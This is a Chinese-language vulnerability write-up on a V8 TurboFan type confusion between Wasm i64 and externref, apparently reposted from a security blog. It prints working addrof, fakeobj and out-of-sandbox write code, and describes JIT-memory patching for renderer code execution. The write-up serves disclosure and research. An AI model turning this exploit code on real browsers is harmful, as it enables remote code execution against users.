【CVE-2026-6307】一石二鸟,ChromeV8沙箱逃逸漏洞深度解析

admin 2026-07-02 05:43:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深度解析ChromeV8引擎CVE-2026-6307沙箱逃逸漏洞,揭示TurboFan编译器在JS-to-Wasm调用内联过程中因FrameState合并优化导致类型混淆,使攻击者仅凭此漏洞即可获得沙箱内任意读写原语并实现沙箱逃逸。漏洞影响Chrome106及以上版本,无需内存布局技巧即可实现远程代码执行。文章建议用户及时更新Chrome版本以修复此高危漏洞。 综合评分: 85 文章分类: 漏洞分析,二进制安全,WEB安全,安全开发,恶意软件


cover_image

【CVE-2026-6307】一石二鸟, Chrome V8 沙箱逃逸漏洞深度解析

原创

骨哥说事 骨哥说事

骨哥说事

2026年7月1日 08:48 上海

在小说阅读器读本章

去阅读

| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |

#

#

防走失:https://gugesay.com/

不想错过任何消息?设置星标↓ ↓ ↓

#

觉得内容太技术?可以先快速浏览我们的漏洞摘要。

阅读漏洞摘要 → https://nebusec.ai/buglist/CVE-2026-6307/

Chrome V8 JavaScript 引擎配备了一个堆沙箱,旨在防止攻击者仅凭 JavaScript 引擎中的漏洞就在沙箱区域外进行写入。然而,Vega 在 JIT 编译器中发现了一个特殊的漏洞,允许攻击者仅凭此漏洞就在沙箱内获得任意读写原语,甚至能够逃离沙箱,向沙箱外写入。本报告将详细介绍该漏洞的技术细节。

概要

这个 V8 漏洞单凭自身就能实现以下所有目标:

  • 以 100% 的成功率获取任意内存读写原语,无需任何内存布局技巧
  • 仅凭此漏洞,无需其他漏洞辅助,即可实现 V8 堆沙箱逃逸和远程代码执行
  • 影响从 Chrome 106 开始的版本,横跨 4 年时间

背景

为了理解这个漏洞,我们首先需要了解 TurboFan、它如何内联 JS-to-Wasm(JavaScript 到 WebAssembly)调用,以及其去优化元数据是如何决定在延迟去优化后应重建何种类型的值的。此外,我们还需要理解 V8 堆沙箱的工作原理,以及为什么这个单一漏洞能让攻击者同时做到两件事:1)在沙箱内获得任意读写原语;2)逃离沙箱,向沙箱外写入。

TurboFan

TurboFan 是 V8 的优化编译器。当一个 JavaScript 函数运行足够多次后,V8 可以使用较低执行层级收集到的反馈来编译该函数的一个专门化版本。这些反馈包括诸如对象的形状、调用点观察到的目标,以及特定操作所使用的值的表示形式等信息。

V8 最初通过 Ignition 字节码执行一个函数,在 TurboFan 编译它之前,可能会通过其他层级。这些早期的执行过程填充了函数的反馈向量。TurboFan 将字节码和反馈转换为编译器图,应用高级 JavaScript 优化,并最终将图降低到机器操作层面。Turboshaft 是这个过程中使用的低级编译器表示形式,也是此漏洞涉及的值编号行为发生的地方。

从高层次看,TurboFan 的工作是:用专门的机器代码替换通用的 JavaScript 执行,同时保留返回正确通用执行的方式。它可以内联被调用者,专门化属性访问,并发出检查来守卫它基于反馈所做的假设。如果这些假设中的任何一个在之后被推翻,优化后的执行必须执行去优化

节点图 (Sea of Nodes)

TurboFan 将被编译的函数表示为一个图,通常被称为节点图。图不是简单的线性指令列表,操作由其依赖关系连接。一个节点可以依赖于值输入、控制输入和效果输入。这使得 TurboFan 可以在保留副作用和控制流所需顺序的同时,移动和简化操作。在传统的控制流图中,编译器会问:这条指令属于哪个基本块,以及它以什么顺序运行?但在节点图中,编译器会问:这个操作依赖于什么,以及它之后可以合法地放置在何处?这种差异很重要,因为节点图避免过早地固定指令的确切位置。例如:

function f(x, y, z) {
  let a = x + y;
  let b = y + z;

  if (a > 0) return b * 2;
  else return b * 3;
}

在控制流图中,你可能会这样表示:

B1:
  a = x + y
  b = y + z
  if a > 0 goto B2 else B3

B2:
  return b * 2

B3:
  return b * 3

这里,b = y + z 已经被放置在块 B1 中。

而在节点图中,b = y + z 只是一个依赖 y 和 z 的 Add 节点:

y     z
 \   /
  Add(b)

它不必立即属于某个基本块。之后,编译器可以决定是将其放置在分支之前、某个分支内部、提升它、下沉它、消除它,还是与另一个相同的计算共享它。这是关键优势:更高的优化自由度。节点图尤其适用于:公共子表达式消除、全局值编号、死代码消除、代码移动、边界检查消除。

最后,它将节点图调度到基本块中,将节点降低为机器指令,分配寄存器,移除诸如 Phi 节点等结构,然后发出线性的汇编/机器代码。

对于这个漏洞,重要的一点是:调用、检查和去优化元数据都存在于同一个图中。当 TurboFan 内联一个调用时,被调用者的操作会被插入到调用者的图中。如果内联的操作可能去优化,图中还会包含 FrameState 节点,用于描述如果优化执行无法继续时,应如何重建执行状态。

FrameState 节点是元数据,但它们仍然是具有输入和选项的图节点。它们不会像算术或内存操作那样执行,但优化过程仍然可以对它们进行推理。在后文中,这一点很重要,因为两个 JS-to-Wasm 延续 FrameState 节点对于图优化器来说可能看起来是等价的,尽管它们描述的是不同的 Wasm 返回类型。

JS-to-Wasm 调用的内联

与该漏洞相关的一个 TurboFan 优化是 JS-to-Wasm 调用的内联。JavaScript 和 WebAssembly 使用不同的调用约定和值表示形式,因此从 JavaScript 到 Wasm 的调用通常需要通过一个 JS-to-Wasm 包装器。该包装器将 JavaScript 参数转换为 Wasm 值,执行 Wasm 调用,并将 Wasm 结果转换回 JavaScript 值。

TurboFan 可以将该包装器内联到优化的 JavaScript 调用者中。这避免了单独的包装器调用,并将参数/结果转换代码暴露给优化器。V8 也可能内联足够小的 Wasm 函数体,但本漏洞并不需要完整的 Wasm 函数体内联,内联包装器就足够了。

在本报告中,JS-to-Wasm 调用是通过 JavaScript 属性访问器到达的。经过充分预热后,TurboFan 可以专门化该属性访问,检查接收者的形状,直接调用已知的访问器目标,并为该目标内联 JS-to-Wasm 包装器。如果同一个 JavaScript 函数看到两个接收者形状,优化后的图可以在一个已编译的函数中包含两个这样的访问器路径。

每个内联的包装器都是基于其 Wasm 函数的规范签名构建的。规范化允许 V8 用共享的签名对象来表示结构上等价的函数类型。签名包含参数和返回类型;因此,它比仅仅记录延续内置函数接收多少个值更为精确。

本漏洞涉及两种返回类型。Wasm 的 i64 在 JavaScript 中暴露为 BigInt,而 externref 是一个标记的 JavaScript 引用。

对于这个签名的 Wasm 函数:

(func (result i64))

机器返回值是一个原始的 64 位整数。包装器必须将该整数转换为 BigInt 才能返回给 JavaScript。对于这个函数:

(func (result externref))

返回寄存器中的值已经是一个标记的引用,必须按此处理。机器级别的返回位置可能相同,但位表示的含义由 Wasm 签名决定。

重要的细节是:包装器的签名决定了 Wasm 返回的位如何转换回 JavaScript。

去优化

去优化将一个活动的优化栈帧替换为一个或多个可以在较低层级继续的栈帧。为此,V8 必须恢复非优化函数所期望的状态:其参数、局部变量、上下文、当前字节码位置,以及任何内联的栈帧。

优化代码不一定将这些值保留在原始形式中。一个局部变量可能存储在寄存器中、被折叠为常量,或者被完全移除。因此,编译器在可能离开优化代码的点上附加了去优化元数据。在 TurboFan 和 Turboshaft 中,这种状态是使用 FrameState 节点表示的。

一个简化的 FrameState 包含:

  • 重建栈帧所需的值,例如参数和局部变量。
  • 当当前操作被内联到另一个函数中时,其外部的 FrameState
  • 一个 FrameStateInfo,描述栈帧的类型、其延续点以及函数特定的元数据。

编译器可以嵌套这些状态。如果一个访问器及其 JS-to-Wasm 包装器已经内联到优化的调用者中,那么内部的延续状态会指向外部的 JavaScript 状态。去优化器会遍历该链来重建逻辑调用栈,即使这些调用在优化的机器代码中已经不再作为单独的物理栈帧存在。

去优化可以通过两种相关的方式发生。

  • 急切去优化:当检查失败时立即发生。此时,重建栈帧所需的所有值在去优化点都可用。
  • 延迟去优化:与调用相关联。当另一个函数正在运行时,优化函数可能被标记为需要去优化,但实际转换只会在该调用返回时发生。

延迟去优化需要特别处理调用结果。结果在创建 FrameState 时并不存在,因此它不会被列为普通输入。相反,去优化器从机器返回寄存器中获取它,并将其添加到延续栈帧中。然后,执行通过一个延续内置函数恢复,就好像优化调用正常返回一样。

对于由 TurboFan 内联的 JS-to-Wasm 调用,V8 会创建一个内部延续 FrameState,其类型为 kJSToWasmBuiltinContinuation。其函数信息使用了一个派生类来存储 Wasm 签名:

class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
 public:
  const wasm::CanonicalSig* signature() const { return signature_; }

 private:
  const wasm::CanonicalSig* const signature_;
};

这个签名不仅仅是信息性的。在代码生成期间,V8 从其中派生出 Wasm 返回类型,并将该类型序列化到去优化数据中。如果发生延迟去优化,去优化器会使用记录的返回类型来具体化结果。

具体化 Wasm 返回值

对于 JS-to-Wasm 延迟去优化,在机器码层面调用已经返回。因此,去优化器根据返回寄存器和记录的 Wasm 返回类型来重建调用结果:

TranslatedValue Deoptimizer::TranslatedValueForWasmReturnKind(
&nbsp; &nbsp;&nbsp;std::optional<wasm::ValueKind> wasm_call_return_kind)&nbsp;{
if&nbsp;(wasm_call_return_kind) {
&nbsp; &nbsp;&nbsp;switch&nbsp;(wasm_call_return_kind.value()) {
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kI32:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TranslatedValue::NewInt32(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;static_cast<int32_t>(input_->GetRegister(kReturnRegister0.code())));
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kI64:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TranslatedValue::NewInt64ToBigInt(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;static_cast<int64_t>(input_->GetRegister(kReturnRegister0.code())));
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kF32:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TranslatedValue::NewFloat(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; input_->GetFloatRegister(wasm::kFpReturnRegisters[0]).code());
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kF64:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TranslatedValue::NewDouble(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; input_->GetDoubleRegister(wasm::kFpReturnRegisters[0]).code());
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kRefNull:
&nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;wasm::kRef:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TranslatedValue::NewTagged(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tagged<Object>(input_->GetRegister(kReturnRegister0.code())));
&nbsp; &nbsp; &nbsp;&nbsp;default:
&nbsp; &nbsp; &nbsp; &nbsp; UNREACHABLE();
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;TranslatedValue::NewTagged(&translated_state_,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ReadOnlyRoots(isolate()).undefined_value());
}

去优化器不会询问原始 Wasm 函数它返回了什么;它信任从 FrameState 序列化而来的 wasm_call_return_kind。对于 kI64 和引用返回,它都读取同一个机器返回寄存器 kReturnRegister0。唯一的区别是如何解释这些位:kI64 将寄存器值强制转换为 int64_t 并将其装箱为 BigInt,而 kRef 和 kRefNull 将寄存器值包装为 Tagged<Object>

这也是为什么当与 i64 混淆时,externref 情况会泄漏一个完整的 64 位标记值。指针压缩影响存储在堆字段中的许多标记值,但编译器图中的 Wasm 引用值使用标记的寄存器表示形式。在指针压缩的构建中,该寄存器表示形式是一个解压缩后的堆指针,或者一个 Smi。当去优化器读取 kReturnRegister0 时,没有单独的“32 位压缩指针加基址”对需要重建;寄存器已经包含了完整的标记值。

因此,如果记录的返回类型来自错误的 FrameState,去优化器会直接将相同的 64 位位模式重新解释为错误的 JavaScript 值类型。这就是 externref 可以被具体化为 i64,或者 i64 可以被具体化为对象引用的关键点。

FrameState 合并

一个微妙之处是:FrameState 节点在被序列化到去优化数据之前,仍然是编译器图中的节点。这意味着图优化也可以看到它们。这里相关的优化是公共子表达式消除,也称为全局值编号

公共子表达式消除本身不是去优化器的一部分,但它可以影响去优化器稍后使用的元数据。如果两个图节点具有相同的输入和等价的元数据,编译器可以保留第一个节点,并用它替换第二个节点的使用。对于普通操作,这消除了冗余工作。对于 FrameState 节点,这意味着两个去优化状态可以被合并。

只有当两个 FrameState 节点在去优化时可以互换时,合并它们才是安全的。Turboshaft 首先使用一个快速哈希来定位可能的匹配项,然后使用相等性运算符进行完整比较。该比较必须包含影响栈帧重建方式的每个字段。

FrameState 的哈希特意只使用了元数据的一小部分,包括其弃绝 ID。哈希冲突是预期会发生的,其本身并不是漏洞:在找到具有相同哈希值的候选节点后,值编号会比较操作的输入和完整选项。因此,正确性的边界在于相等性比较。如果它认为语义上不同的去优化状态是相等的,一个就可以被另一个替换。

V8 堆沙箱

V8 堆沙箱是一个进程内的软件故障隔离机制,它将源自不受信任的 JavaScript 或 WebAssembly 代码的内存破坏漏洞限制在进程虚拟地址空间的一个子集区域,即 V8 堆沙箱区域内。V8 堆沙箱假设攻击者可以通过典型的传统 V8 漏洞(addrof 和 fakeobj)任意且并发地读取和写入 V8 堆沙箱区域内的内存。

在不失一般性的前提下,V8 堆沙箱的实现可以被视为为寻址操作增加了一个额外的翻译层。

这让你想起了操作系统课程中的地址翻译吗?

V8 沙箱目前是一个 1 TB 大的区域,包含了所有 V8 堆(位于沙箱开头的 4GB V8 指针压缩笼中)、ArrayBuffer 后备存储和 Wasm 后备缓冲区。V8 堆沙箱中的寻址操作可以描述如下:

  • 压缩指针:32 位指针,这是在 V8 堆沙箱中使用的指针表示形式。压缩指针笼分配在 V8 堆沙箱区域的开头。当解引用压缩指针时,引擎将压缩指针笼的基址加到压缩指针上,得到 V8 堆沙箱区域内的实际地址。
  • 沙箱化指针:位于沙箱内的对象可以使用从沙箱基址开始的 40 位偏移量来引用。
  • 指针表:V8 需要引用沙箱外的对象。这些对象通过指针表来引用,指针表也位于沙箱外,包括 CodePointerTableTrustedPointerTable 和 ExternalPointerTable。指针表用于存储沙箱外对象的实际地址,并带有内联的类型标志。也通过在初始化期间为每个表预留固定大小的虚拟内存块并使用左移索引来防止对这些表的越界访问。

最后,我们可以将 V8 堆沙箱总结如下:

漏洞所在

漏洞出在 FrameStateFunctionInfo 的相等性运算符中:

bool&nbsp;operator==(FrameStateFunctionInfo&nbsp;const& lhs,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FrameStateFunctionInfo&nbsp;const& rhs) {
&nbsp;&nbsp;// ...
&nbsp;&nbsp;return&nbsp;lhs.type() == rhs.type() &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lhs.parameter_count() == rhs.parameter_count() &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lhs.max_arguments() == rhs.max_arguments() &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lhs.local_count() == rhs.local_count() &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lhs.shared_info().equals(rhs.shared_info()) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lhs.bytecode_array().equals(rhs.bytecode_array());
}

JSToWasmFrameStateFunctionInfo 继承自 FrameStateFunctionInfo,并添加了上述描述的 signature_ 字段。然而,相等性运算符接受对基类的引用,并且只比较基类中的字段。它从未比较 Wasm 签名。

缺少比较这一点很容易被忽略,因为基类已经包含几个 Wasm 特定的字段,例如 Wasm 函数索引和 Liftoff 帧大小。这些字段在完整相等性运算符的早期就已经被检查。它们被其他 Wasm 帧状态类型使用,但并不能替代派生的 JS-to-Wasm 延续的签名。

当同一个优化的 JavaScript 函数可以调用两个参数列表匹配但返回类型不同的 Wasm 访问器时,这就成了问题。回归测试可以通过功能上等效于以下代码的函数触发:

builder
&nbsp; .addFunction("return_ref", kSig_r_v)
&nbsp; .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index]);

builder
&nbsp; .addFunction("return_i64", kSig_l_v)
&nbsp; .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index]);

两个函数都不接收参数,并且两个 JS-to-Wasm 延续状态都使用相同的延续内置函数。因此,根据有缺陷的相等性运算符,相应的元数据是相同的:

externref 状态 &nbsp; &nbsp; &nbsp; &nbsp; i64 状态
类型 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; JS-to-Wasm 延续 &nbsp; JS-to-Wasm 延续
parameter_count &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0
max_arguments &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0
local_count &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0
shared_info &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;empty &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; empty
bytecode_array &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; empty &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; empty
signature &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;() -> externref &nbsp; () -> i64
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ 未比较 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;^ 未比较

具体来说,parameter_count 描述的是延续内置函数的显式输入。它并不对 Wasm 函数的返回类型进行编码。因此,() -> externref 和 () -> i64 的两个函数可以具有完全相同的基类元数据,尽管它们的结果需要完全不同的具体化操作。

FrameStateData::operator== 在决定两个 FrameState 节点附带的元数据是否相等时,依赖于这个比较:

return&nbsp;lhs.frame_state_info == rhs.frame_state_info &&
&nbsp; &nbsp; &nbsp; &nbsp;lhs.instructions == rhs.instructions &&
&nbsp; &nbsp; &nbsp; &nbsp;lhs.machine_types == rhs.machine_types &&
&nbsp; &nbsp; &nbsp; &nbsp;lhs.int_operands == rhs.int_operands;

这个比较通过 FrameStateInfo::operator== 进行,它检查弃绝 ID 和状态组合模式,然后委托给 FrameStateFunctionInfo::operator==。对于 JSToWasmLazyDeoptContinuation,两个调用点都使用字节码偏移量,因此那些外部字段也匹配。被忽略的派生字段是唯一区分两种返回约定的元数据。

当剩余输入也匹配时,公共子表达式消除得出结论:两个帧状态是相同的。它会移除一个,并将其使用重定向到另一个。哪个返回签名幸存下来取决于保留哪个状态,但无论哪种方向都不安全。

当编译器执行此替换时,并不会立即出现问题。FrameState 是元数据,而不是在正常路径上执行的操作,并且只要优化函数保持有效,两个 Wasm 调用仍然会正确返回。只有当执行遇到消耗错误共享状态的去优化出口时,这种不匹配才会被观察到。

以下 JavaScript 形状使 TurboFan 在一个函数中获得两个调用目标:

Object.defineProperty(ProtoForI64.prototype,&nbsp;"x", {&nbsp;get: exports_.return_i64 });
Object.defineProperty(ProtoForRef.prototype,&nbsp;"x", {&nbsp;get: exports_.return_ref });

function&nbsp;foo(o)&nbsp;{
&nbsp;&nbsp;return&nbsp;o.x;
}

在预热期间,foo 被调用时传入两种原型的实例。TurboFan 为两种接收者形状专门化属性访问,并内联相应的 JS-to-Wasm 包装器。这就创建了两个可以被公共子表达式消除错误合并的延续 FrameState

Wasm 函数首先调用一个导入的 JavaScript 回调,然后从可变全局变量中加载其返回值。该回调在 foo 被优化后更改了其中一个原型:

const&nbsp;exports_ = makeInstance(()&nbsp;=>&nbsp;{
&nbsp;&nbsp;if&nbsp;(arm_deopt) {
&nbsp; &nbsp; ProtoForRef.prototype.deopt_marker =&nbsp;1;
&nbsp; }
});

更改原型会使已嵌入优化代码中的假设失效,并将 foo 标记为需要去优化。由于 foo 在 JS-to-Wasm 调用下暂停,实际的转换是当 Wasm 调用返回时的延迟去优化。

在代码生成期间,幸存下来的签名在 JSToWasmFrameStateDescriptor 中被转换为单个 return_kind。该返回类型被序列化到去优化转换中。当重建栈帧时,不再参考原始的调用目标,因此之后没有机会注意到序列化的返回类型属于另一条路径。

此时,去优化器参考合并后的延续状态。假设实际调用返回一个 externref,但幸存下来的 FrameState 包含 i64 签名。去优化器将返回寄存器中的标记引用当作原始的 64 位整数读取,并将其具体化为 BigInt。这就将标记指针的位作为整数暴露出来。

相反的方向则更加危险。如果实际调用返回一个攻击者控制的 i64,但幸存状态包含 externref 签名,去优化器会将这些 64 位当作标记的 JavaScript 引用。由于错误的元数据信息表明寄存器已经包含一个引用,因此不会对对象进行从 BigInt 的转换或任何验证。

结果导致 Wasm i64 和 JavaScript 对象引用直接混淆:

实际的 externref + 记录的 i64 &nbsp; &nbsp; => 地址暴露为 BigInt
实际的 i64 &nbsp; &nbsp; &nbsp; + 记录的 externref => 整数被当作对象引用

这提供了下一节中使用的 addrof 和 fakeobj 原语。

漏洞利用

获取 addrof 和 fakeobj

由于混淆发生在 Wasm i64 和 externref 之间,获取初始原语就变得很直接。

我们首先创建一个 Wasm 实例,其中包含两个参数签名相同但返回类型不同的函数。由于错误的签名比较,在确定两个调用点是否兼容时,返回类型被忽略了。

function&nbsp;makeInstance(callback)&nbsp;{
const&nbsp;builder =&nbsp;new&nbsp;WasmModuleBuilder();
const&nbsp;callback_index = builder.addImport("env",&nbsp;"callback", kSig_v_v);

const&nbsp;g_ref = builder
&nbsp; &nbsp; .addGlobal(kWasmExternRef,&nbsp;true,&nbsp;false)
&nbsp; &nbsp; .exportAs("g_ref");
const&nbsp;g_i64 = builder.addGlobal(kWasmI64,&nbsp;true,&nbsp;false).exportAs("g_i64");

&nbsp; builder
&nbsp; &nbsp; .addFunction("rr", kSig_r_v)
&nbsp; &nbsp; .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index])
&nbsp; &nbsp; .exportFunc();

&nbsp; builder
&nbsp; &nbsp; .addFunction("rl", kSig_l_v)
&nbsp; &nbsp; .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index])
&nbsp; &nbsp; .exportFunc();

return&nbsp;builder.instantiate({&nbsp;env: { callback } }).exports;
}

为了获得 addrof,我们将目标对象放在 externref 全局变量中,但导致去优化器使用 i64 返回类型来具体化结果。

function&nbsp;addrof(target)&nbsp;{
let&nbsp;arm_deopt =&nbsp;false;

function&nbsp;LeakI64()&nbsp;{}
function&nbsp;LeakRef()&nbsp;{}

const&nbsp;exports_ = makeInstance(()&nbsp;=>&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;(arm_deopt) {
&nbsp; &nbsp; &nbsp; LeakRef.prototype.deopt_marker =&nbsp;1;
&nbsp; &nbsp; }
&nbsp; });

Object.defineProperty(LeakI64.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.rl,
&nbsp; &nbsp;&nbsp;configurable:&nbsp;true,
&nbsp; });
Object.defineProperty(LeakRef.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.rr,
&nbsp; &nbsp;&nbsp;configurable:&nbsp;true,
&nbsp; });

function&nbsp;foo(o)&nbsp;{
&nbsp; &nbsp;&nbsp;return&nbsp;o.x;
&nbsp; }

const&nbsp;a =&nbsp;new&nbsp;LeakI64();
const&nbsp;b =&nbsp;new&nbsp;LeakRef();

&nbsp; exports_.g_ref.value = target;
&nbsp; exports_.g_i64.value =&nbsp;43n;

&nbsp; %PrepareFunctionForOptimization(foo);
for&nbsp;(let&nbsp;i =&nbsp;0; i <&nbsp;20; ++i) {
&nbsp; &nbsp; foo(a);
&nbsp; &nbsp; foo(b);
&nbsp; }

&nbsp; %OptimizeFunctionOnNextCall(foo);
&nbsp; foo(a);

&nbsp; arm_deopt =&nbsp;true;
return&nbsp;foo(b);
}

最后的调用触发了 externref 访问器,但该值被重建为 i64。这将以 i64 的形式暴露出 target 的完整标记指针(64位),从而为我们提供了 addrof 原语。

相反,fakeobj 是通过将我们的 i64 放在全局变量中,并使其被具体化为 externref 来获得的。

function&nbsp;fakeobj(addr)&nbsp;{
let&nbsp;arm_deopt =&nbsp;false;

function&nbsp;MaterializeRef()&nbsp;{}
function&nbsp;MaterializeI64()&nbsp;{}

const&nbsp;exports_ = makeInstance(()&nbsp;=>&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;(arm_deopt) {
&nbsp; &nbsp; &nbsp; MaterializeI64.prototype.deopt_marker =&nbsp;1;
&nbsp; &nbsp; }
&nbsp; });

Object.defineProperty(MaterializeRef.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.rr,
&nbsp; &nbsp;&nbsp;configurable:&nbsp;true,
&nbsp; });
Object.defineProperty(MaterializeI64.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.rl,
&nbsp; &nbsp;&nbsp;configurable:&nbsp;true,
&nbsp; });

function&nbsp;foo(o)&nbsp;{
&nbsp; &nbsp;&nbsp;return&nbsp;o.x;
&nbsp; }

const&nbsp;a =&nbsp;new&nbsp;MaterializeRef();
const&nbsp;b =&nbsp;new&nbsp;MaterializeI64();

&nbsp; exports_.g_ref.value = {&nbsp;marker:&nbsp;1&nbsp;};
&nbsp; exports_.g_i64.value = addr;

&nbsp; %PrepareFunctionForOptimization(foo);
for&nbsp;(let&nbsp;i =&nbsp;0; i <&nbsp;20; ++i) {
&nbsp; &nbsp; foo(a);
&nbsp; &nbsp; foo(b);
&nbsp; }

&nbsp; %OptimizeFunctionOnNextCall(foo);
&nbsp; foo(a);

&nbsp; arm_deopt =&nbsp;true;
const&nbsp;result = foo(b);
return&nbsp;result;
}

返回的 i64 被重建为标记的引用,从而允许将被攻击者控制的地址视为 JavaScript 对象。

在沙箱外写入

更重要的是,新具体化的引用仍然可以被正常解引用,即使其底层指针位于 V8 沙箱之外。

去优化器将 i64 具体化为引用,而 i64 值完全由攻击者控制,这意味着它可以指向沙箱之外的内存。

为了优化属性存储操作,V8 引擎支持内联属性,这些属性直接存储在对象本身上。

由于此漏洞允许我们在整个 64 位地址范围内创建引用,那么如果我们能够伪造一个在沙箱外具有有效映射的对象指针,会发生什么?

function&nbsp;confuseI64AsRefAndStore(ptr, value, real)&nbsp;{
let&nbsp;arm_deopt =&nbsp;false;
function&nbsp;ProtoForRef()&nbsp;{}
function&nbsp;ProtoForI64()&nbsp;{}
const&nbsp;exports_ = makeInstance(()&nbsp;=>&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;(arm_deopt) ProtoForI64.prototype.deopt_marker =&nbsp;1;
&nbsp; });
Object.defineProperty(ProtoForRef.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.return_ref,
&nbsp; });
Object.defineProperty(ProtoForI64.prototype,&nbsp;"x", {
&nbsp; &nbsp;&nbsp;get: exports_.return_i64,
&nbsp; });

function&nbsp;foo(o, v, do_store)&nbsp;{
&nbsp; &nbsp;&nbsp;const&nbsp;r = o.x;
&nbsp; &nbsp;&nbsp;if&nbsp;(do_store) r.p = v;
&nbsp; &nbsp;&nbsp;return&nbsp;r;
&nbsp; }

const&nbsp;obj_ref =&nbsp;new&nbsp;ProtoForRef();
const&nbsp;obj_i64 =&nbsp;new&nbsp;ProtoForI64();
&nbsp; exports_.g_ref.value = real;
&nbsp; exports_.g_i64.value = ptr;

&nbsp; %PrepareFunctionForOptimization(foo);
for&nbsp;(let&nbsp;i =&nbsp;0; i <&nbsp;30; ++i) {
&nbsp; &nbsp; foo(obj_ref,&nbsp;1,&nbsp;true);
&nbsp; &nbsp; foo(obj_i64,&nbsp;1,&nbsp;false);
&nbsp; }
&nbsp; %OptimizeFunctionOnNextCall(foo);
&nbsp; foo(obj_ref,&nbsp;1,&nbsp;true);
&nbsp; arm_deopt =&nbsp;true;
return&nbsp;foo(obj_i64, value,&nbsp;true);
}

在预热期间,属性存储操作只在实际对象上的存储上执行。这使得 TurboFan 能够将 r.p = v 优化为正常的内联属性存储。

在最后一次调用中,使用了 i64 访问器。去优化器将 i64 具体化为标记的引用,然后针对该伪造的对象指针执行优化的属性存储。

只要在选定的写入目标之前存在有效的映射和属性字段,对象就能通过所需的布局检查,并且内联属性存储就可以到达 i64 所指向的地址。

由于我们也控制对象映射指针,尽管属性数量有限,使得从映射 + 属性的四字偏移写入的距离不能任意大,但我们的属性存储写入仍然可以距离我们的四字足够远,从而完成许多有趣的操作。

写入 JIT 内存

一个方便的目标就是 JIT 内存。任意的四字(qword)可以作为字面量首先被放置在 JIT 区域(例如,返回一个双精度数组的 JIT 编译函数),从而允许在不事先拥有写入原语的情况下,布局分散的四字。

然后,属性存储可以用来修补附近的任何指令。例如,一个标记的 SMI 写入就足以在一个已布局的四字之后放置一个短的相对跳转,并将执行重定向到隐藏的 Shellcode 中,从而在渲染器进程中实现 RCE。

附录

时间线

  • 2026-03-29:我们向 Google 报告了此漏洞。
  • 2026-03-30:Google 确认收到报告并开始调查。
